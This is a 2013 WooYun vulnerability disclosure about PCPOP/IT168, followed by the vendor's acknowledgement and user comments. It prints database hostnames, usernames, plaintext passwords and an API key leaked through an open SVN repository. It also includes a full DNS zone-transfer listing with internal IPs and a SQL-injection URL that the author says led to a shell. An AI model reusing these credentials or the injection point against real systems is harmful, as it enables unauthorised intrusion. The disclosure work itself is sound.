当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-022282

漏洞标题：it168第三弹-PCPOP 数据库链接密码泄露，已shell，可遍历内网数据

相关厂商：IT168.com

漏洞作者： 工作专用

提交时间：2013-04-22 14:02

修复时间：2013-06-06 14:02

公开时间：2013-06-06 14:02

漏洞类型：文件上传导致任意代码执行

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-04-22： 细节已通知厂商并且等待厂商处理中
2013-04-22： 厂商已经确认，细节仅向厂商公开
2013-05-02： 细节向核心白帽子及相关领域专家公开
2013-05-12： 细节向普通白帽子公开
2013-05-22： 细节向实习白帽子公开
2013-06-06： 细节向公众公开

简要描述：

各种漏洞综合到一起。齐活！

详细说明：

01.gif


SVN权限为设置 导致下载源码
这里 获得源码以后 开始检查 各个字符连接串等。

define('UC_DBHOST', '10.168.0.37'); // UCenter 数据库主机
define('UC_DBUSER', 'pcpopsns'); // UCenter 数据库用户名
define('UC_DBPW', '951623'); // UCenter 数据库密码
define('UC_DBNAME', 'pop_uc'); // UCenter 数据库名称
define('UC_CONNECT', 'mysql');
define('UC_DBHOST', '192.168.1.72:3307');
define('UC_DBUSER', 'yuhui');
define('UC_DBPW', 'it168!@#');
define('UC_DBNAME', 'pop_uc');
define('UC_DBCHARSET', 'utf8');
define('UC_DBTABLEPRE', '`pop_uc`.uc_');
define('UC_DBCONNECT', '0');
define('UC_KEY', '67ed00lqYBYbR3ICfMiLPWaKhxzpdJLau5uEaa4');
define('UC_API', 'http://ucsso.pcpop.com');
define('UC_CHARSET', 'utf-8');
define('UC_IP', '');
define('UC_APPID', '28');
define('UC_PPP', '20');*/
//同步登录 Cookie 设置


获得一堆！
uc.pcpop.com
获得 UC主库的数据库连接字符串。
n个
使用NSLOOKUP 发现存在列域漏洞
挨个测试漏洞吧。、
> ls pcpop.com
pcpop.com. NS server = ns1.pcpop.com
pcpop.com. NS server = ns2.pcpop.com
pcpop.com. A 59.151.37.230
331 A 219.148.35.100
a A 221.192.136.246
*.a A 221.192.136.246
club.a A 219.148.35.85
ad3 A 221.192.136.149
ad4 A 221.192.136.148
android A 219.148.35.25
app A 219.148.35.84
baojia A 219.148.35.191
battery A 219.148.35.96
bbs A 219.148.35.25
anhui.bbs A 219.148.35.25
hebei.bbs A 219.148.35.25
houtai.bbs A 221.192.136.60
img.bbs A 219.148.35.133
bbs2 A 221.192.136.102
bbsdown A 219.148.35.133
bbst A 219.148.35.25
shouji.bbst A 219.148.35.25
bqq A 219.141.178.5
ces A 219.148.35.102
cg A 221.192.136.148
channel A 219.148.35.83
chrome A 219.148.35.69
club A 219.148.35.9
club A 219.148.35.70
comment A 219.148.35.191
comment3 A 219.148.35.191
cool A 221.192.136.149
count A 219.148.35.84
cs A 121.28.95.19
d1 A 219.148.35.129
d1 A 219.148.35.130
dell A 219.148.35.25
dianping A 219.148.35.93
dod A 121.28.95.19
down1 A 219.148.35.133
down2 A 219.148.35.133
down3 A 219.148.35.133
down4 A 219.148.35.133
dx1 A 61.160.192.132
f1 A 219.148.35.83
fan A 121.28.95.19
g A 219.148.35.86
gg A 219.148.35.42
hezi A 219.148.35.218
hptools A 219.148.35.18
hr A 61.55.167.46
iapple A 221.192.136.27
idea A 219.148.35.25
ideabbs A 219.148.35.25
imgpv A 221.192.136.180
imgs A 219.148.35.67
imgs A 219.148.35.68
imgs A 219.148.35.77
ios A 219.148.35.25
jiangjia A 219.148.35.89
l A 219.148.35.89
lephone A 219.148.35.25
live A 219.148.35.69
admin.lixiang A 221.192.136.245
mail A 221.192.136.211
mall A 221.192.136.215
maopao A 219.148.35.102
my A 219.148.35.25
newbbs A 219.148.35.234
ns1 A 221.192.136.150
ns2 A 219.148.35.66
nvidiaclub A 219.148.35.91
open A 219.148.35.70
pao A 219.148.35.25
paoattach A 219.148.35.218
pcmall A 221.192.136.205
pf A 219.148.35.70
ph A 221.192.136.247
photo A 219.148.35.102
pic A 61.182.160.85
play A 221.192.136.159
pmm A 219.148.35.218
pop A 219.148.35.25
group.pop A 219.148.35.93
houtai.pop A 219.148.35.93
houtai2.pop A 219.148.35.93
houtai3.pop A 221.192.136.60
mail.pop A 221.192.136.180
tv.pop A 59.151.39.39
popattach A 61.55.167.199
pp A 221.192.136.148
pp.product A 221.192.136.148
product1 A 219.148.35.89
product2 A 221.192.136.148
pu A 219.148.35.218
publish A 221.192.136.247
q A 219.148.35.91
ren A 221.192.136.246
rtx A 219.141.178.5
s1 A 60.28.208.249
sendmail A 221.192.136.211
sf A 219.148.35.129
sf A 219.148.35.130
*.shop A 219.148.35.83
cnc.shop A 221.192.136.39
com.shop A 219.148.35.83
bbs.smb A 219.148.35.86
smsso A 219.148.35.47
so A 219.148.35.114
img.softbbs A 219.148.35.133
softup A 221.204.242.168
spms A 61.55.167.198
squid A 221.192.136.47
squid2 A 221.192.136.46
sso A 219.148.35.93
svn A 10.168.0.78
taobao A 221.192.136.148
test1 A 221.192.136.180
test2 A 221.192.136.180
test3 A 221.192.136.180
test4 A 221.192.136.15
test5 A 221.192.136.184
testwap A 221.192.136.15
tg A 221.192.136.27
toothbrush A 219.148.35.96
tuan A 219.148.35.102
img.tuan A 219.148.35.25
img1.tuan A 219.148.35.133
uc A 219.148.35.25
vip A 202.106.124.55
wanke A 219.148.35.102
wap A 221.192.136.98
win A 219.148.35.25
woyaoxuan A 219.148.35.218
www1 A 219.148.35.89
zhuanti A 219.148.35.96
到这里发现盒子 注射一枚
http://hezi.pcpop.com/register/CheckCode?invcode=工作专用' 注射

q1.gif


q2.gif


获得SHELL.

3333.jpg


$config['suc']['charset'] = 'UTF-8';
define('UC_DBHOST', '129.0.0.245');
define('UC_DBUSER', 'pcpopsns');
define('UC_DBPW', '951623');
嗯 以上数据库 口令知道了 遍历内网MYSQL。

漏洞证明：

01.gif


SVN权限为设置 导致下载源码
这里 获得源码以后 开始检查 各个字符连接串等。

define('UC_DBHOST', '10.168.0.37'); // UCenter 数据库主机
define('UC_DBUSER', 'pcpopsns'); // UCenter 数据库用户名
define('UC_DBPW', '951623'); // UCenter 数据库密码
define('UC_DBNAME', 'pop_uc'); // UCenter 数据库名称
define('UC_CONNECT', 'mysql');
define('UC_DBHOST', '192.168.1.72:3307');
define('UC_DBUSER', 'yuhui');
define('UC_DBPW', 'it168!@#');
define('UC_DBNAME', 'pop_uc');
define('UC_DBCHARSET', 'utf8');
define('UC_DBTABLEPRE', '`pop_uc`.uc_');
define('UC_DBCONNECT', '0');
define('UC_KEY', '67ed00lqYBYbR3ICfMiLPWaKhxzpdJLau5uEaa4');
define('UC_API', 'http://ucsso.pcpop.com');
define('UC_CHARSET', 'utf-8');
define('UC_IP', '');
define('UC_APPID', '28');
define('UC_PPP', '20');*/
//同步登录 Cookie 设置


获得一堆！
uc.pcpop.com
获得 UC主库的数据库连接字符串。
n个
使用NSLOOKUP 发现存在列域漏洞
挨个测试漏洞吧。、

> ls pcpop.com
 pcpop.com.                     NS     server = ns1.pcpop.com
 pcpop.com.                     NS     server = ns2.pcpop.com
 pcpop.com.                     A      59.151.37.230
 331                            A      219.148.35.100
 a                              A      221.192.136.246
 *.a                            A      221.192.136.246
 club.a                         A      219.148.35.85
 ad3                            A      221.192.136.149
 ad4                            A      221.192.136.148
 android                        A      219.148.35.25
 app                            A      219.148.35.84
 baojia                         A      219.148.35.191
 battery                        A      219.148.35.96
 bbs                            A      219.148.35.25
 anhui.bbs                      A      219.148.35.25
 hebei.bbs                      A      219.148.35.25
 houtai.bbs                     A      221.192.136.60
 img.bbs                        A      219.148.35.133
 bbs2                           A      221.192.136.102
 bbsdown                        A      219.148.35.133
 bbst                           A      219.148.35.25
 shouji.bbst                    A      219.148.35.25
 bqq                            A      219.141.178.5
 ces                            A      219.148.35.102
 cg                             A      221.192.136.148
 channel                        A      219.148.35.83
 chrome                         A      219.148.35.69
 club                           A      219.148.35.9
 club                           A      219.148.35.70
 comment                        A      219.148.35.191
 comment3                       A      219.148.35.191
 cool                           A      221.192.136.149
 count                          A      219.148.35.84
 cs                             A      121.28.95.19
 d1                             A      219.148.35.129
 d1                             A      219.148.35.130
 dell                           A      219.148.35.25
 dianping                       A      219.148.35.93
 dod                            A      121.28.95.19
 down1                          A      219.148.35.133
 down2                          A      219.148.35.133
 down3                          A      219.148.35.133
 down4                          A      219.148.35.133
 dx1                            A      61.160.192.132
 f1                             A      219.148.35.83
 fan                            A      121.28.95.19
 g                              A      219.148.35.86
 gg                             A      219.148.35.42
 hezi                           A      219.148.35.218
 hptools                        A      219.148.35.18
 hr                             A      61.55.167.46
 iapple                         A      221.192.136.27
 idea                           A      219.148.35.25
 ideabbs                        A      219.148.35.25
 imgpv                          A      221.192.136.180
 imgs                           A      219.148.35.67
 imgs                           A      219.148.35.68
 imgs                           A      219.148.35.77
 ios                            A      219.148.35.25
 jiangjia                       A      219.148.35.89
 l                              A      219.148.35.89
 lephone                        A      219.148.35.25
 live                           A      219.148.35.69
 admin.lixiang                  A      221.192.136.245
 mail                           A      221.192.136.211
 mall                           A      221.192.136.215
 maopao                         A      219.148.35.102
 my                             A      219.148.35.25
 newbbs                         A      219.148.35.234
 ns1                            A      221.192.136.150
 ns2                            A      219.148.35.66
 nvidiaclub                     A      219.148.35.91
 open                           A      219.148.35.70
 pao                            A      219.148.35.25
 paoattach                      A      219.148.35.218
 pcmall                         A      221.192.136.205
 pf                             A      219.148.35.70
 ph                             A      221.192.136.247
 photo                          A      219.148.35.102
 pic                            A      61.182.160.85
 play                           A      221.192.136.159
 pmm                            A      219.148.35.218
 pop                            A      219.148.35.25
 group.pop                      A      219.148.35.93
 houtai.pop                     A      219.148.35.93
 houtai2.pop                    A      219.148.35.93
 houtai3.pop                    A      221.192.136.60
 mail.pop                       A      221.192.136.180
 tv.pop                         A      59.151.39.39
 popattach                      A      61.55.167.199
 pp                             A      221.192.136.148
 pp.product                     A      221.192.136.148
 product1                       A      219.148.35.89
 product2                       A      221.192.136.148
 pu                             A      219.148.35.218
 publish                        A      221.192.136.247
 q                              A      219.148.35.91
 ren                            A      221.192.136.246
 rtx                            A      219.141.178.5
 s1                             A      60.28.208.249
 sendmail                       A      221.192.136.211
 sf                             A      219.148.35.129
 sf                             A      219.148.35.130
 *.shop                         A      219.148.35.83
 cnc.shop                       A      221.192.136.39
 com.shop                       A      219.148.35.83
 bbs.smb                        A      219.148.35.86
 smsso                          A      219.148.35.47
 so                             A      219.148.35.114
 img.softbbs                    A      219.148.35.133
 softup                         A      221.204.242.168
 spms                           A      61.55.167.198
 squid                          A      221.192.136.47
 squid2                         A      221.192.136.46
 sso                            A      219.148.35.93
 svn                            A      10.168.0.78
 taobao                         A      221.192.136.148
 test1                          A      221.192.136.180
 test2                          A      221.192.136.180
 test3                          A      221.192.136.180
 test4                          A      221.192.136.15
 test5                          A      221.192.136.184
 testwap                        A      221.192.136.15
 tg                             A      221.192.136.27
 toothbrush                     A      219.148.35.96
 tuan                           A      219.148.35.102
 img.tuan                       A      219.148.35.25
 img1.tuan                      A      219.148.35.133
 uc                             A      219.148.35.25
 vip                            A      202.106.124.55
 wanke                          A      219.148.35.102
 wap                            A      221.192.136.98
 win                            A      219.148.35.25
 woyaoxuan                      A      219.148.35.218
 www1                           A      219.148.35.89
 zhuanti                        A      219.148.35.96


到这里发现盒子 注射一枚
http://hezi.pcpop.com/register/CheckCode?invcode=工作专用' 注射

q1.gif


q2.gif


获得SHELL.

3333.jpg


$config['suc']['charset'] = 'UTF-8';
define('UC_DBHOST', '129.0.0.245');
define('UC_DBUSER', 'pcpopsns');
define('UC_DBPW', '951623');
嗯 以上数据库 口令知道了 遍历内网MYSQL。

修复方案：

漏洞综合应用！

版权声明：转载请注明来源 工作专用@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2013-04-22 15:07

厂商回复：

多谢洞主。

最新状态：

暂无

漏洞评价：

评论

  1. 2013-04-22 14:22 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞，心中自然无码。)

    @工作专用 好全面的服务啊

  2. 2013-04-22 14:33 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:170 | 力不从心)

    洞主服务好，有礼送了

  3. 2013-04-22 16:47 | 工作专用 ( 实习白帽子 | Rank:77 漏洞数:6 | 起什么名字好呢。)

    @疯狗 什么意思？全面服务？

  4. 2013-04-22 16:55 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞，心中自然无码。)

    @工作专用 从头到脚的服务，你懂得～

  5. 2013-04-22 16:57 | 工作专用 ( 实习白帽子 | Rank:77 漏洞数:6 | 起什么名字好呢。)

    @疯狗 囧。

  6. 2013-04-22 16:58 | 工作专用 ( 实习白帽子 | Rank:77 漏洞数:6 | 起什么名字好呢。)

    @疯狗 你是不是SINA的那个疯狗！

  7. 2013-04-22 17:50 | 工作专用 ( 实习白帽子 | Rank:77 漏洞数:6 | 起什么名字好呢。)

    @wefgod 你是他官方人员？

  8. 2013-04-22 18:13 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞，心中自然无码。)

    @工作专用 你是哪位啊？

  9. 2013-04-22 18:51 | 工作专用 ( 实习白帽子 | Rank:77 漏洞数:6 | 起什么名字好呢。)

    @疯狗 你是不是SINA的啊？是的话 咱俩聊过啊！

  10. 2013-04-22 23:21 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:170 | 力不从心)

    @工作专用 哈哈，我打酱油的，我是感觉有

  11. 2013-05-22 15:24 | x-star ( 普通白帽子 | Rank:124 漏洞数:13 | Windows/Linux Kernel. Information Secur...)

    这标签打的!!!